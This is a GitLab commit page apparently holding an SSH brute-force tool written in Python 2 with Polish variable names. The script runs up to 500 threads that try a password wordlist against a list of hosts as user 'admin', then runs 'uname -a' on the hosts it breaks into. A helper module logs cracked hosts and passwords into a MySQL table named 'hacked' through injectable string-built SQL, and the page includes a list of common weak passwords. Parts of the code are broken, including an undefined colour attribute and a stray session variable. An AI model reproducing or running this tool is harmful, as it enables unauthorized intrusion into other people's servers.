Commit f4a2d5eb authored by Piotr "PHT" Jasiek's avatar Piotr "PHT" Jasiek

Initial commit

parents
Pipeline #5 failed with stages
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pexpect import pxssh
from modules.database import *
from modules.fileoperations import *
from modules.fontcolor import *
from modules.sshoperations import *
import time
import sys
import os
import thread
#hosts = sys.argv[1]
hosts = "hosts/hosts"
#user = sys.argv[2]
user = "admin"
#passwords = sys.argv[3]
passwords = "wl/passwords"
max_processes = 500
lista_hostow = [i.strip() for i in open(hosts).readlines()]
lista_hasel = [i.strip() for i in open(passwords).readlines()]
def hack( host, user, lista_hasel):
for haslo in lista_hasel:
s = pxssh.pxssh()
try:
s.login (host, user, haslo)
except pxssh.ExceptionPxssh as e:
if "Could not establish connection to host" in e.value:
print bcolors.FAIL, "Blad polaczenia:", host, bcolors.ENDC
break
elif "Connection timed out" in e.value:
print bcolors.FAIL, "Timeout", host, bcolors.ENDC
break
else:
s.sendline ('uname -a')
s.prompt()
uname = s.before
uname = uname.replace('uname -a\r\n','')
uname = uname.replace('\r\n','')
#add_host(host, user, haslo, uname)
print bcolors.OK,"---", host, haslo, "---", bcolors.ENDC
break
def thread_amount():
amount = int(os.popen('ps x | grep -i "/usr/bin/ssh -q -l" | wc -l').read())
amount = amount - 2
return amount
#main part
to_run = len(lista_hostow)
while (to_run != 0 and to_run > 0):
th_amount = thread_amount()
print bcolors.INFO, "W kolejce:",to_run, "Uruchomionych:", th_amount, bcolors.ENDC
for host in lista_hostow:
th_amount = thread_amount()
while (th_amount >= max_processes):
th_amount = thread_amount()
print bcolors.INFO, "W kolejce:",to_run, "Uruchomionych:", th_amount, "Czekam na wolny slot.", bcolors.ENDC
time.sleep( 1 )
try:
thread.start_new_thread( hack, (host, user, lista_hasel, ) )
to_run = to_run -1
print bcolors.INFO, "W kolejce:",to_run, "Uruchomionych:", th_amount, "Uruchamiam kolejne zadanie -", host, bcolors.ENDC
except:
print ("Error: unable to start thread")
to_run = to_run -1
print bcolors.INFO, "W kolejce:",to_run, "Uruchomionych:", thread_amount, bcolors.ENDC
while (to_run == 0 and th_amount > 0):
print bcolors.INFO, "W kolejce:",to_run, "Uruchomionych:", th_amount, "Czekam na zakończenie działania", bcolors.ENDC
time.sleep(1)
th_amount = thread_amount()
#!/usr/bin/env python
import MySQLdb
import time
def add_host(host, login, password, uname):
# Open database connection
db = MySQLdb.connect("host","user","pass","db" )
# prepare a cursor object using cursor() method
cursor = db.cursor()
# Prepare SQL query to INSERT a record into the database.
unixtime = int(time.time())
sql = "INSERT INTO hacked(ip,login,pass,data,uname) \
VALUES ('%s', '%s', '%s', %d, '%s' )" % (host, login, password, unixtime, uname)
try:
# Execute the SQL command
cursor.execute(sql)
# Commit your changes in the database
db.commit()
except:
# Rollback in case there is any error
db.rollback()
# disconnect from serverd = datetime.utcnow()
db.close()
#!/usr/bin/env python3
def file_saver( filename, content ):
file = open("filename","w")
file.write(content)
file.close()
#!/usr/bin/env python
class bcolors:
HEADER = '\033[95m'
INFO= '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
#!/usr/bin/env python
# -*- coding: utf-8 -*-
def get_uname():
s.sendline ('uname -a')
s.prompt()
return s.before
##false
1234
12345
123456
1q2w3e
abc123
oracle
password
p@ssw0rd
qwerty
qwerty123
root
test
toor
XSW@1qaz
xsw2!QAZ
zaq1@WSX
ZAQ!2wsx
pass123
test123
qwerty!@#
QWERTY!@#
QWERTY123
qwerty123
letmein
This diff is collapsed.
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment